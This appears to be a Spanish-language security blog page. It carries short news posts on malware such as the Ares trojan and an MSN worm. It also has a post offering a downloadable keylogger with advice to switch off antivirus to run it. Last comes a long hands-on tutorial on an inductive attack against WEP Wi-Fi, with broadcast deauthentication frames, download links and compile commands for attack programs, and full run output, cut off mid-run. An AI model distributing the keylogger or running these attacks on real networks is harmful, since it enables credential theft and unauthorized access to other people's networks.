Facebook ya tiene antivirus para proteger sus cuentas

0

Posted by Star | Posted in | Posted on 12:06

BitDefender (compañía de seguridad), ha credo el primer antivirus para Facebook, llega en forma de aplicación con el nombre de SafeGo. De este modo, la aplicación se encargará de mantener el perfil y el ordenador ‘limpio’ de malware, además de obtener una valoración de privacidad que asegura si los datos son “presa fácil para el robo de datos personales”.

De momento, la aplicación no tiene todas las funciones disponibles (ya que esta en fase beta), pero, tal y como ha comunicado la compañía, incorporará la posibilidad de ver cuáles han sido las amenazas más recientes, revisará la bandeja de entrada de los mensajes privados y publicará en el muro de aquellos usuarios que la instalen un informe semanal sobre el estado de su cuenta.


Recientemente, un estudio reveló que un 20% de los usuarios de Facebook está expuesto a contenido malicioso a través de las aplicaciones creadas en la red social, a través de ver vídeos o del famoso virus Koobface.

No lo tienes que instalar en tu PC ya que es una aplicación para Facebook.

Para activarlo, tienes que agregar la aplicación en tu cuenta de Facebook, abajo he colocado el enlace para la aplicación, una vez agregado tienes que configurar algunas cosas como Scan my inbox para que analice los mensajes de tu bandeja de entrada, Publish to wall con esta opción se va a publicar una alerta en tu muro avisándote que se ha detectado una nueva amenaza.

Ares, el sucesor del troyano ZeuS, va a causar estragos en los próximos días

0

Posted by Star | Posted in | Posted on 20:13

Los expertos en seguridad alertan de la llegada de un nuevo troyano que promete dar mucha guerra en los próximos días. Se trata de Ares, que se presenta como un malware muy peligroso debido a su gran versatilidad.

Y es que el propio creador de este troyano ha confirmado que Ares no estará centrado sólo en atacar a la banca, sino que cada una de sus copias “puede ser única y puede configurarse en función del comprador”, lo cual multiplica las dificultades para su detección.

También ha advertido que “tiene las mismas capacidades como troyano bancario que Zeus”, una de las amenazas más peligrosas, que a principios de noviembre consiguió pasar de los ordenadores a los móviles.

Pero los ciberdelincuentes no sólo van a poder utilizar este troyano para infectar equipos, sino que hay todo un kit de desarrollo circulando por el mercado negro del cibercrimen.

Este kit se vende de manera gratuita a “desarrolladores de confianza”, pero puede llegar a costar hasta 6.000 dólares a los ciberdelincuentes extraños. Si los cibercriminales no disponen de tanto presupuesto también pueden adquirir un “paquete de inicio”, con funciones reducidas, por 850 dólares.

Desde G-Data alertan de que Ares está a punto de iniciar su “distribución masiva”.

¡Atención! Malware para CPUs

0

Posted by Star | Posted in | Posted on 21:45

Hasta la fecha lo que se conocía como malware era software que aprovechaba bugs de sistemas operativos y/o software muy común explotándolo con fines malintencionados como es la infección de equipos o bien el uso como ordenador zombie en botnets. Investigadores franceses acaban de hacer público un ejemplo de cómo es posible la creación de malware que afecta directamente a una CPU concreta, y que se vería en peligro sea cual fuere el sistema operativo sobre el que está trabajando.


El malware suele tratar con vulnerabilidades en el sistema operativo/software popular que viene a significar que los usuarios tienen que ir aplicando de manera frecuente parches y ejecutar el antivirus para evitar tales problemas. La Ecole Superiore d’Informatique, Electronique, Automatique acaba de demostrar cómo se puede crear malware para un procesador en particular, ignorando el sistema operativo en sí.

Tanto si el ataque discrimina el sistema operativo o el hardware la técnica es la misma, encontrar un bug/fallo y explotarlo. Las arquitecturas de los procesadores pueden ser identificadas estudiando cómo ejecuta el procesador, cálculos aritméticos y la forma de codificar números. Sin embargo esta técnica no es tan refinada como los atacantes de malware podrían querer.

Los investigadores admiten que la técnica de identificación no puede hacer pin-point a procesadores particulares, sin embargo han comentado que el ataque podría “dar lugar a ataques más precisos y enfocados, a un nivel más fino en redes grandes de máquinas heterogéneas pero con malware genérico“.

Microsoft desactiva los enlaces activos en el Messenger 09

0

Posted by Star | Posted in | Posted on 21:42

Desde el blog de Windows Live, nos llega una alerta en la que Microsoft ha desactivado temporalmente los vínculos activos para Windows Live Messenger 2009 Su motivo, es, que quiere evitar a un gusano dañino que está tratando de extenderse a través de los Messenger (incluido éste) e incluso redes sociales. El gusano se propaga mediante la inserción de un vínculo en una conversación de mensajería instantánea con otro equipo infectado. Conoce más detalles a continuación.

Un gusano dañino está intentado propagarse a través de Messenger, incluido Windows Live 2009. Para evitar daños, Microsoft ha tomado la decisión de desactivar los enlaces activos en el Messenger 2009, ya que éste es uno de los afectados.

El gusano, se propaga mediante la inserción de un vínculo desde otro equipo infectado en una conversación de mensajería instantánea. Cuando el usuario hace click en el enlace, se abre en un navegador y descarga el gusano en el ordenador del receptor, y luego repite el proceso.

Esto hace que su propagación sea muy sencilla y fácil, ya que se instala en el ordenador del usuario y sin darse cuenta, el navegador le envía a un sitio web que contiene el software malicioso y sin saberlo el propio usuario.

Como ya sabemos, ésta es una manera muy habitual y bastante común de propagar malware. Además en una red tan grande como es Live Messenger y con todo lo que abarca tal, el gusano podría propagarse con mucha rapidez y poner en grandes apuros al usuario y a toda la red de mensajería en general.

Por otra parte, el cierre de los vínculo activos URL o su desactivación temporal por parte de Microsoft, es un buen paso para evitar la propagación de malware y gusanos y mantendrá Windows Live Messenger seguro hasta que el gigante dé una solución final y acertada al problema. De momento y mientras, Microsoft está trabajando en una solución a éste problema.


Si estamos ejecutando Live Messenger 2009, éste es un buen momento para considerar la actualización a la versión del Messenger 2011.

Símbolo hacker

0

Posted by Star | Posted in | Posted on 7:02



Encontré esta propuesta de un símbolo para la comunidad hacker (entendiendo hacker tal y como lo define la Wikipedia y como los propios hackers se definen a si mismos, como expertos en una rama de la computación, y no como un delincuente informático). La propuesta está hecha por Eric S. Raymond, un “sociólogo” de la computación de prestigio reconocido.
A mi la propuesta me ha gustado, sobre todo por la justificación detrás de la elección de ese símbolo en concreto. Se trata de la configuración “deslizador” del Juego de la Vida.
El Juego de la Vida es una simulación de vida artificial de unos átomos (cada uno de los puntos negros) situados sobre un mundo (una cuadrícula). Hay unas reglas sencillas para saber como dichos átomos nacen o mueren:
  • Una célula nace cuando tiene a su alrededor exactamente 3 células vecinas.
  • Una célula con 2 o 3 células vecinas sigue viva.
  • En cualquier otro caso la célula muere (por soledad o superpoblación)
Lo curioso de este juego es que a partir de estas sencillísimas reglas se produce un comportamiento emergente (sobre el cual comenté un excelente libro hace poco). Es decir, hay un comportamiento de “moléculas” (configuraciones de átomos) que no es evidente en las reglas del juego.
glider_moving.gifAsí, hay moléculas que se quedan quietas, pero hay otras que se mueven, otras que son disparadores de otras moléculas, otras que se reproducen a si mismas, etc.
Concretamente la molécula elegida para el símbolo hacker es el deslizador (glider), que es la molécula más pequeña que se mueve. Aquí podéis ver una animación de como evoluciona el deslizador.
La idoneidad de este símbolo por lo tanto es triple:
  1. Es un símbolo del Juego de la Vida, un juego relacionado desde hace mucho tiempo con la computación.
  2. Está relacionado con la emergencia, del mismo modo que de la comunidad hacker emerge una colaboración positiva que ha dado a luz el proyecto GNU, linux y un largo etcétera.
  3. Es una configuración simple (solo 5 átomos) pero “con movimiento”.
Podéis probar el Juego de la Vida mediante los varios applets enlazados desde la página de la Wikipedia, además de leer esta pequeña introducción muy clara (que ya he añadido a la wikipedia)

KeyLogger

0

Posted by Star | Posted in | Posted on 16:00


5b415a0a74765006f122f979f487f751

:: KeyLogger ::


Breve Explicación
Un keylogger (derivado del inglés: Key (tecla) y Logger (Registrador); registrador de teclas. Es un tipo de software que se encarga de registrar las pulsaciones que se realizan en el teclado, para memorizarlas en un fichero y/o enviarlas a través de internet.
Suele usarse como malware del tipo daemon, permitiendo que otros usuarios tengan acceso a contraseñas importantes, como los números de una tarjeta de crédito, u otro tipo de información privada que se quiera obtener.
El registro de lo que se teclea puede hacerse tanto con medios de hardware como de software. Los sistemas comerciales disponibles incluyen dispositivos que pueden conectarse al cable del teclado (lo que los hace inmediatamente disponibles pero visibles si un usuario revisa el teclado) y al teclado mismo (que no se ven pero que se necesita algún conocimiento de como soldarlos para instalarlos en el teclado). Escribir aplicaciones para realizar keylogging es trivial y, como cualquier programa computacional, puede ser distribuido a través de un troyano o como parte de un virus informático o gusano informático. Se dice que se puede utilizar un teclado virtual para evitar esto, ya que sólo requiere clics del ratón. Sin embargo, la aplicaciones más nuevas también registran screenshots (capturas de pantalla) al realizarse un click, que anulan la seguridad de esta medida. Cabe decir que esto podría ser falso ya que los eventos de mensajes del teclado deben ser enviados al programa externo para que se escriba el texto, por lo que cualquier keylogger podría registrar el texto escrito mediante un teclado virtual.


« Link de Descarga

http://rapidshare.com/files/181985514/Douglas_Es.rar

« Requisitos e información adicional:
Sistema operativo: Win95/98/98SE/Me/2000/NT/XP/2003/Vista
Tamaño de la Descarga: 915 KB = menos de 1 Mega
lo podes utilizar en cualquier computador desde pentium 2 y con 32 Mb de RAM.
Algúnos ANTI-VIRUS lo detectan ya que es un
KeyLogger. Solo desactiva el ANTI-VIRUS y Ya.
No todos Reacciónan por Igual.
Asi que a Usarlo con Responsabilidad, y Tranquilidad

VULNERABILIDADES WEP. PARTE III. Práctica (I)

0

Posted by Star | Posted in | Posted on 22:57

Ataque Inductivo.

Vamos a realizar un programa que ejecute el ataque inductivo, las funciones que utiliza son:

* send_packet, read_packet y dump_packet que como ya es habitual sirven para enviar, leer y/o mostrar el contenido de las tramas.

Funcion main.

* Lee del teclado un BSSID sobre el que se realizará el ataque
* Llama a la función ataque_inductivo pasándole como parámetro ese BSSID. ataque_inductivo(mi_AP)

Función ataque_inductivo

Esta función lo primero que hace es capturar un paquete ARP Request de la red elegida (BSSID) en el caso de que tras leer 500 paquetes no se consiga un ARP, procede a una desautenticación al broadcast para capturar uno.

La desautenticación la realiza llamando a una funcion que es:

desautenticar_todos(macAP)

O sea, se llama a esa función entregando como parámetro la mac del Punto de Acceso, esta función como ya hemos dicho enviará tramas de desautenticación al broadcast. Esta función ya la usamos en ejercicios anteriores y por tanto no comentaremos nada nuevo de ella.

Una nueva comprobación ha sido añadida para avanzar mas en nuestro Taller. Consiste en averiguar si se trata de un paquete con cifrado WEP.

AVISO!!! No me refiero a si el bit wep está activado (que lo debe estar si la red está protegida) me refiero a que si se trata CONCRETAMENTE de cifrado WEP u otro.

Te recuerdo que el bit wep activo indica cifrado pero no EL TIPO de cifrado, una red WPA tiene el bit wep activado, una red WEP tiene el bit wep activado también.

Luego el mero hecho de que esté activado el bit wep no significa obligatoriamente que se trate de una red WEP.

Creo que os lo puse como ejercicio (haceeee muuuuuchos post de ello) y parece que nadie “se atrevió” a contestar o a intentarlo, bien, pues ya va siendo hora de resolverlo.

Podemos averiguar rápidamente si una red utiliza cifrado WEP analizando el IV (Vector de inicialización) un IV de WEP es así:


  Código:
3 bytes (24 bits) para el IV 1 byte  (8 bits) para el keyindex (número de llave que usa)


Te recuerdo que WEP puede usar diferentes números de llave para la misma clave WEP, incluso estas llaves pueden ser dinámicas con el objeto de proteger aún mas la red.

Entonces si analizamos el último byte del IV podemos saber si es un cifrado WEP o no, este byte no es otra cosa que el key index.

Para WEP, el keyindex, debe ser un valor inferior a 32, de hecho ya conocemos que sólo se usarán 0, 1, 2 ó 3.

Para WPA se usa 0x60, por tanto si podemos hacer una operación AND del keyindex para saber si es WEP o no.

Algo así:


  Código:
SI (h80211[cabmac+3] & 0x20)) es distinto a cero ) NO ES WEP En caso contrario   ES WEP Siendo cabmac la longitud de la cabecera y h80211 un array con el contenido completo del paquete/trama h80211


Recuerda que esta comprobación sólo es efectiva si se trata de una trama de DATOS!!! Puesto que si es de administración o control, esa posición no es el keyindex de la clave de cifrado.

Otras formas de averiguarlo, por ejemplo en un beacon o en un probe request o probe response, también se incluye como datos de los mismos el tipo de cifrado que se usa, pero la forma anterior es más sencilla de comprobarlo en esta ocasión.

El resto de comprobaciones que hace consiste en averiguar si se trata de un paquete ARP o no, y se analiza el tamaño, que tenga el bit wep activado, que sea un paquete de datos, que sea un paquete toDS y que el bssid de la trama capturada sea igual al bssid que le pasamos por teclado.

Observa que el paquete ha de ser toDS!!!

Sabes por qué, no????

Claro, si hemos desautenticado a las estaciones es lógico pensar que un ARP Request debe ser un paquete que una estación envía HACIA el sistema de distribución, por eso toDS.

Las otras condiciones son obvias y en cuanto al tamaño, recuerda lo explicado en el post de la teoría… 68 bytes para un ARP (o 70 si hay QoS)

Una vez que tenemos capturado un ARP REQ, ya podemos empezar, para ello se utilizan una serie de arrays que iran almacenando los datos necesarios, estos son:
    paquete_cifrado: Lógicamente se trata del paquete original h80211: Que se usará para enviar o recibir las tramas temporal: como su nombre indica es un almacén temporal y guardará los datos en texto plano conocidos y los que se vayan descifrando. OJO!!! Sólo los datos, sin cabeceras, sin IV’s y sin ICV’s. SOLO DATOS. crc32: pues será un array que almacena el icv resultante de temporal. F3: es un array temporal en el cual se va construyendo el paquete completo en plano, incluidos la cabecera MAC, IV, DATOS en PLANO e ICV key_stream: pues será donde iremos guardando el resultado de hacer XOR entre el paquete en plano y el paquete cifrado. Este array keystream comienza con el IV, es decir, los primeros 4 bytes realmente no es el keystream sino el IV. paq_plano: es otro array que almacena el texto plano, similar al array temporal del que hablamos antes.
Además contamos con otras variables y constantes necesarias para llevar el ataque:
    mi_ARP contiene los primeros 15 bytes bien conocidos de un paquete ARP (repasa la teoría si no lo ves claro) inicio, es la posición inicial del ataque, para nuestro caso será 15 final: es el último byte a descifrar, para nuestro ejemplo 36 de datos + 4 para el ICV original = 40 bytes a descifrar actual: que marcará el byte que está siendo analizado, al comienzo de todo el ataque actual=inicio y cuando termine deberá ser igual a final. Actual se irá incrementando en una unidad a medida que vamos descifrando nuevos bytes.
También utiliza dos funciones:

add_crc32 que calculará el ICV para un texto plano dado, de esta función no debemos preocuparnos puesto que ya está incluida en las cabeceras crypto.h y programa crypto.c, recuerda simplemente lo que hace, calcular el crc32 de algo, que en nuestro caso será algo como esto:


  Código:
add_crc32 (temporal, actual-3)


Esto calcula el crc32 (ICV) del contenido de temporal y se lo añade en la posición que diga actual – 3.

También conviene aclarar que al ICV se le aplica una máscara u otra dependiendo de si se trata de un ICV de texto plano o un ICV cifrado, de esto ya hablaremos cuando expliquemos el bit-flipping, por elk momento, ni te preocupes de ello.

Para seguir con el ejemplo de la parte de teoría, imagina que la posición de actual es 15, por tanto lo que hará esta función es calcular el ICV de los primeros 15 bytes y los coloca en la posición 12,13,14 y 15 (tal y como veíamos en la figura) n = actual

Imagen

Después se colocan la cabecera mac, el iv, se realizan las operaciones XOR necesarias, se coloca al ICV (sólo los 3 primeros bytes) y se entra en un ciclo de 256 repeticiones (una para cada posible valor de 0x00 a 0xFF)

Se van enviando estos paquetes con el “añadido” de ese último byte y se comprueban las respuestas.

La comprobación de las respuestas lo realiza un a nueva función llamada ver_envio_ap a la cual se le pasan como parámetros el bssid, el byte actual que está siendo descifrado y el valor del contador del ciclo (n).

La función ver_envio_ap, además, captura durante 150000 microsegundos (aprox. Un octavo de segundo) y “busca” en esas capturas si se produjo una respuesta válida al último paquete que enviamos, de tal forma que:
    Entregará como resultado 0 (cero) si no hubo respuesta Un valor distinto a cero si acertamos con el byte.
Ese valor de retorno (siempre que no sea cero) será el valor de actual+24+4+1) es decir,


  Código:
Para nuestro primer byte sería (el 15) Retorno= 15 + 24 + 4 + 1 = 44 bytes 15 por la posición actual 24 por la cabecera 80211 (o 26 si hay QoS) 4 por el IV 1 por el byte que estamos añadiendo


Si encontramos un paquete de ese tamaño y que cumpla las otras condiciones como que sea wep, que sea de datos, que el bssid sea el que escribimos por teclado Y QUE SEA fromDS!!!!!, podemos asegurar que es el nuestro.

Ojo!!! Importante lo de fromDS, está claro, si nosotros enviamos paquetes modificados con el bit toDS activado (HACIA), es de suponer que cuando alguno de ellos “sea el corecto” el punto de acceso responderá con el bit fromDS (DESDE) activado.

Todo esto lo realiza la función ver_envio_ap

Por último, si se recibió la respuesta se muestra por pantalla, se incrementa actual en una unidad y el contador de posibilidades (n) vuelve a cero.

Si no hubo respuesta, se incrementa al contador (n) en uno y se prueba de nuevo todo el proceso.

Si agotamos todas las posibilidades de n bytes (de 0 a 256) lo repetimos de nuevo desde la posición actual -1 (recuerda lo que se dijo en la parte de teoría acerca de los problemas de transmisión o de falsos positivos.

Si falla el envío desde la posición inicial (15) el ataque no tuvo éxito y deberíamos repetir todo desde el inicio.

En fin, esta es la secuencia del ataque, en esta ocasión y dado que el código fuente es un poquito mas largo que de costumbre, he preferido explicarlo en lugar de postearlo sin mas.

Este es un diagrama básico de lo cómo funciona en bloques el ataque inductivo que implementa este programa:

Imagen

De todas formas en el código fuente del ejercicio dispones de numerosísimos comentarios que van (prácticamente línea por línea) aclarando qué se hace, para qué y cómo.

Lo puedes descargar en: http://www.megaupload.com/?d=VPG05ZR6

Lo guardas en el directorio de las fuentes de aircrack con el nombre arpdecode4.c (si… hubo versiones arpdecode 1, 2 y 3 antes de conseguir que funcionase fino)

y lo compilas:


  Código:
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o arpdecode4.o arpdecode4.c gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude arpdecode4.o common.o crypto.o -o arpdecode4 -Losdep -losdep   -lssl -lcrypto
Podemos verlo en acción:
 Taller_WiFi src # ./arpdecode4 eth1

Escribe la MAC del bssid o Punto de Acceso -----> 00:16:B6:41:03:5D

Leyendo paquete número 499 on destino a --------> 00:16:B6:41:03:5D:

ATENCION!!! Parece que no se capturan ARP_REQ
*********** Probando desautenticación al broadcast

Desautenticación
****************
C0 00 3C 02  FF FF FF FF  FF FF 00 16  B6 41 03 5D
00 16 B6 41  03 5D 00 00  04 00

Enviando Desautenticación número 8

<---- Encontrado paquete ---->
<---- Esperando 3 Segundos--->
Paquete CIFRADO ORIGINAL (solo los datos + ICV)
***********************************************

80 E3 C3 5A  5F 12 30 50  D4 01 D5 65  3E 3D 6F E1
09 EA 6F 7F  50 D3 B1 79  55 53 EF EE  03 64 98 7E
CC F9 9F EF  53 07 FC AF

-> Byte num. 1  Candidato n/a   keystream 2A    byte cifrado: 80   byte decode AA <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 2  Candidato n/a   keystream 49    byte cifrado: E3   byte decode AA <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 3  Candidato n/a   keystream C0    byte cifrado: C3   byte decode 03 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 4  Candidato n/a   keystream 5A    byte cifrado: 5A   byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 5  Candidato n/a   keystream 5F    byte cifrado: 5F   byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 6  Candidato n/a   keystream 12    byte cifrado: 12   byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 7  Candidato n/a   keystream 38    byte cifrado: 30   byte decode 08 <--- DATOS conocidos --> Protocolo ARP
-> Byte num. 8  Candidato n/a   keystream 56    byte cifrado: 50   byte decode 06 <--- DATOS conocidos --> Protocolo ARP
-> Byte num. 9  Candidato n/a   keystream D4    byte cifrado: D4   byte decode 00 <--- DATOS conocidos --> Hardware Ethernet
-> Byte num. 10 Candidato n/a   keystream 00    byte cifrado: 01   byte decode 01 <--- DATOS conocidos --> Hardware Ethernet
-> Byte num. 11 Candidato n/a   keystream DD    byte cifrado: D5   byte decode 08 <--- DATOS conocidos --> Protocolo IP
-> Byte num. 12 Candidato n/a   keystream 65    byte cifrado: 65   byte decode 00 <--- DATOS conocidos --> Protocolo IP
-> Byte num. 13 Candidato n/a   keystream 38    byte cifrado: 3E   byte decode 06 <--- DATOS conocidos --> Longitud MAC
-> Byte num. 14 Candidato n/a   keystream 39    byte cifrado: 3D   byte decode 04 <--- DATOS conocidos --> Versión IP
-> Byte num. 15 Candidato n/a   keystream 6F    byte cifrado: 6F   byte decode 00 <--- DATOS conocidos --> ARP (REQ ó RESP)
-> Byte num. 16 Candidato 5B    keystream E0    byte cifrado: E1   byte decode 01 <--- ARP REQUEST
-> Byte num. 17 Candidato 9E    keystream 09    byte cifrado: 09   byte decode 00 <--- MAC ORIGEN
-> Byte num. 18 Candidato F7    keystream FD    byte cifrado: EA   byte decode 17 <--- MAC ORIGEN
-> Byte num. 19 Candidato 44    keystream F5    byte cifrado: 6F   byte decode 9A <--- MAC ORIGEN
-> Byte num. 20 Candidato 4D    keystream BC    byte cifrado: 7F   byte decode C3 <--- MAC ORIGEN
-> Byte num. 21 Candidato 16    keystream 86    byte cifrado: 50   byte decode D6 <--- MAC ORIGEN
-> Byte num. 22 Candidato E8    keystream 6A    byte cifrado: D3   byte decode B9 <--- MAC ORIGEN
-> Byte num. 23 Candidato A6    keystream BB    byte cifrado: B1   byte decode 0A <--- IP  ORIGEN (decimal 10)
-> Byte num. 24 Candidato AF    keystream 73    byte cifrado: 79   byte decode 0A <--- IP  ORIGEN (decimal 10)
-> Byte num. 25 Candidato 67    keystream 5F    byte cifrado: 55   byte decode 0A <--- IP  ORIGEN (decimal 10)
-> Byte num. 26 Candidato 22    keystream 9B    byte cifrado: 53   byte decode C8 <--- IP  ORIGEN (decimal 200)
-> Byte num. 27 Candidato B0    keystream EF    byte cifrado: EF   byte decode 00 <--- MAC DESTINO
-> Byte num. 28 Candidato 39    keystream EE    byte cifrado: EE   byte decode 00 <--- MAC DESTINO
-> Byte num. 29 Candidato 74    keystream 03    byte cifrado: 03   byte decode 00 <--- MAC DESTINO
-> Byte num. 30 Candidato FD    keystream 64    byte cifrado: 64   byte decode 00 <--- MAC DESTINO
-> Byte num. 31 Candidato AF    keystream 98    byte cifrado: 98   byte decode 00 <--- MAC DESTINO
Candidato decode FF Byte actual 32 de 40
Vuelta atrás. Falló el último. Reintentando de nuevo a partir de la posición 30

-> Byte num. 31 Candidato AF    keystream 98    byte cifrado: 98   byte decode 00 <--- MAC DESTINO
-> Byte num. 32 Candidato E6    keystream 7E    byte cifrado: 7E   byte decode 00 <--- MAC DESTINO
-> Byte num. 33 Candidato BD    keystream C6    byte cifrado: CC   byte decode 0A <--- IP  DESTINO (decimal 10)
-> Byte num. 34 Candidato 47    keystream F3    byte cifrado: F9   byte decode 0A <--- IP  DESTINO (decimal 10)
-> Byte num. 35 Candidato EE    keystream 95    byte cifrado: 9F   byte decode 0A <--- IP  DESTINO (decimal 10)
-> Byte num. 36 Candidato FA    keystream 1A    byte cifrado: EF   byte decode F5 <--- IP  DESTINO (decimal 245)
-> Byte num. 37 Candidato C0    keystream 99    byte cifrado: 53   byte decode CA <--- ICV CRC32
-> Byte num. 38 Candidato 66    keystream 13    byte cifrado: 07   byte decode 14 <--- ICV CRC32
-> Byte num. 39 Candidato 9A    keystream 55    byte cifrado: FC   byte decode A9 <--- ICV CRC32
-> Byte num. 40 Candidato AF    keystream E9    byte cifrado: AF   byte decode 46 <--- ICV CRC32

Tipo ARP:    REQUEST
MAC ORIGEN:  00 17 9A C3 D6 B9
IP ORIGEN:   10.10.10.200.
MAC DESTINO: 00 00 00 00 00 00
IP DESTINO:  10.10.10.245.
Parámetros WEP
**************
         IV completo: 6C 6B 00 00
         Num de KEY usada: 00

keystream;
6C 6B 00 00  2A 49 C0 5A  5F 12 38 56  D4 00 DD 65
38 39 6F E0  09 FD F5 BC  86 6A BB 73  5F 9B EF EE
03 64 98 7E  C6 F3 95 1A  99 13 55 E9

Listo!!!


Duración total del ataque: 13 minutos 44 segundos

Taller_WiFi src #
 
El ataque “es lento” como puedes ver al finalizar el ataque se muestra la duración del mismo. (13 minutos 44 segundos) una pasada, vamos... y eso para unos pocos bytes...

Recuerda cómo funcionabe el programa:
    Tenemos 40 bytes a “descubrir”, bueno, realmente 40 – 15 = 25 Puesto que los 15 primeros ya son “bien conocidos” Y por cada uno de esos 25 bytes a descifrar, el programa puede llegar a enviar hasta 256 combinaciones posibles. Entre envío y envío la función ver_envio_ap se toma 150.000 ms para husmear el medio y comprobar si hubo respuesta del último paquete enviado, por tanto en el peor de los casos, que sería descubrir el byte “bueno” como última combinación (256), el tiempo máximo del ataque es:
      (25 bytes a descubrir x 256 combinaciones x 150.000 ms) / 1.000.000 = 960 segundos en total, 16 minutos máximo. Un millón de ms (1.000.000) es un segundo
    Claro, eso en las peores condiciones, que sería agotar por cada byte sus 256 posibilidades, como eso no ocurrirá, digamos que de 8 a 10 minutos es “lo normal”
Sin embargo, podría haberse perpetuado el ataque en menos de 25 segundos!!!!!

Ehhh????

Pues sí, si hubiésemos estado un poco mas espabilados, podríamos haber creado una tabla con los 256 ICV’s posibles de cada candidato a enviar, de tal forma que al tenerlos ya “calculados” podemos enviar continuamente ráfagas de 256 posibles combinaciones (el envío de 256 paquetes no llega a un segundo).

De este modo no es necesario esperar un tiempo (150.000 ms) para ver si hay respuesta,

Sencillamente envío, leo, envio, leo, envio, leo y así hasta encontrar una coincidencia, cuando ocurra, consultamos la tabla de ICV’s generada y a por otro... esto es muchísimo más rápido, puesto que en menos de un segundo leeremos la respuesta del punto de acceso, como son 25 los bytes a descifrar, pues eso… en menos de 25 segundos lo tenemos.

El "problema" de usar este otro método, es que los envíos son más rápidos que las respuestas, por tanto, eso de envío-leo, envío-leo no es del todo así... la respuesta no será acorde al úlrimo paquete enviado... igual es 112 paquetes mas atrás... por eso es necesaria una tabla, para que cuando llegue la respuesta sepamos qué paquete la provocó.

Aun así, preferí hacerlo del modo que se ha resuelto, parece como mas claro: envío, capturo durante un tiempo para ver si hay respuesta, envio capturo durante un tiempo, etc…

Cuando veamos cómo funciona el ataque chophop y lo llevemos a la práctica, sí que usaremos esto de la tabla de ICV’s, porque si el paquete a descifrar es (por ejemplo de 386 bytes) si usamos la misma técnica que la del ataque inductivo, nos pasamos 2 horas de media para llevarlo a cabo, y eso es ya muuucho tiempo mirando una pantalla.

Bueno, venga, vale... te pongo un link de descarga de “la versión rápida”, se llama arpdecode5.c

http://www.megaupload.com/?d=LU210GBT

Lo guardas en el directorio de las fuentes de aircrack y lo compilas:


  Código:
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o arpdecode5.o arpdecode5.c gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude arpdecode5.o common.o crypto.o -o arpdecode5 -Losdep -losdep   -lssl -lcrypto


Ahora, vamos a ejecutarlo:
Taller_WiFi src # ./arpdecode5 eth1

Escribe la MAC del bssid o Punto de Acceso -----> 00:16:B6:41:03:5D

**** Esperando un ARP REQ con destino a --------> 00:16:B6:41:03:5D:
Desautenticación
****************
C0 00 3C 02  FF FF FF FF  FF FF 00 16  B6 41 03 5D
00 16 B6 41  03 5D 00 00  04 00

Enviando Desautenticación número 8

<---- Encontrado paquete ---->
<---- Esperando 3 Segundos--->

Paquete CIFRADO ORIGINAL (solo los datos + ICV)
***********************************************

4B 33 B8 7C  1F E4 E0 7B  54 0F EF 35  F8 58 65 A7
1F CF 1C 37  1A 25 47 4E  C5 EB 1B A0  FB 1E 9B 2F
93 26 FF AC  7A FB 21 0F

-> Byte num. 1  Candidato n/a   keystream E1    byte cifrado: 4B   byte decode AA <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 2  Candidato n/a   keystream 99    byte cifrado: 33   byte decode AA <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 3  Candidato n/a   keystream BB    byte cifrado: B8   byte decode 03 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 4  Candidato n/a   keystream 7C    byte cifrado: 7C   byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 5  Candidato n/a   keystream 1F    byte cifrado: 1F   byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 6  Candidato n/a   keystream E4    byte cifrado: E4   byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 7  Candidato n/a   keystream E8    byte cifrado: E0   byte decode 08 <--- DATOS conocidos --> Protocolo ARP
-> Byte num. 8  Candidato n/a   keystream 7D    byte cifrado: 7B   byte decode 06 <--- DATOS conocidos --> Protocolo ARP
-> Byte num. 9  Candidato n/a   keystream 54    byte cifrado: 54   byte decode 00 <--- DATOS conocidos --> Hardware Ethernet
-> Byte num. 10 Candidato n/a   keystream 0E    byte cifrado: 0F   byte decode 01 <--- DATOS conocidos --> Hardware Ethernet
-> Byte num. 11 Candidato n/a   keystream E7    byte cifrado: EF   byte decode 08 <--- DATOS conocidos --> Protocolo IP
-> Byte num. 12 Candidato n/a   keystream 35    byte cifrado: 35   byte decode 00 <--- DATOS conocidos --> Protocolo IP
-> Byte num. 13 Candidato n/a   keystream FE    byte cifrado: F8   byte decode 06 <--- DATOS conocidos --> Longitud MAC
-> Byte num. 14 Candidato n/a   keystream 5C    byte cifrado: 58   byte decode 04 <--- DATOS conocidos --> Versión IP
-> Byte num. 15 Candidato n/a   keystream 65    byte cifrado: 65   byte decode 00 <--- DATOS conocidos --> ARP (REQ ó RESP)
-> Byte num. 16 Candidato BF    keystream A6    byte cifrado: A7   byte decode 01 <--- ARP REQUEST
-> Byte num. 17 Candidato 3E    keystream 1F    byte cifrado: 1F   byte decode 00 <--- MAC ORIGEN
-> Byte num. 18 Candidato 27    keystream D8    byte cifrado: CF   byte decode 17 <--- MAC ORIGEN
-> Byte num. 19 Candidato 67    keystream 86    byte cifrado: 1C   byte decode 9A <--- MAC ORIGEN
-> Byte num. 20 Candidato 66    keystream F4    byte cifrado: 37   byte decode C3 <--- MAC ORIGEN
-> Byte num. 21 Candidato C4    keystream CC    byte cifrado: 1A   byte decode D6 <--- MAC ORIGEN
-> Byte num. 22 Candidato 6E    keystream 9C    byte cifrado: 25   byte decode B9 <--- MAC ORIGEN
-> Byte num. 23 Candidato 67    keystream 4D    byte cifrado: 47   byte decode 0A <--- IP  ORIGEN (decimal 10)
-> Byte num. 24 Candidato F3    keystream 44    byte cifrado: 4E   byte decode 0A <--- IP  ORIGEN (decimal 10)
-> Byte num. 25 Candidato 3D    keystream CF    byte cifrado: C5   byte decode 0A <--- IP  ORIGEN (decimal 10)
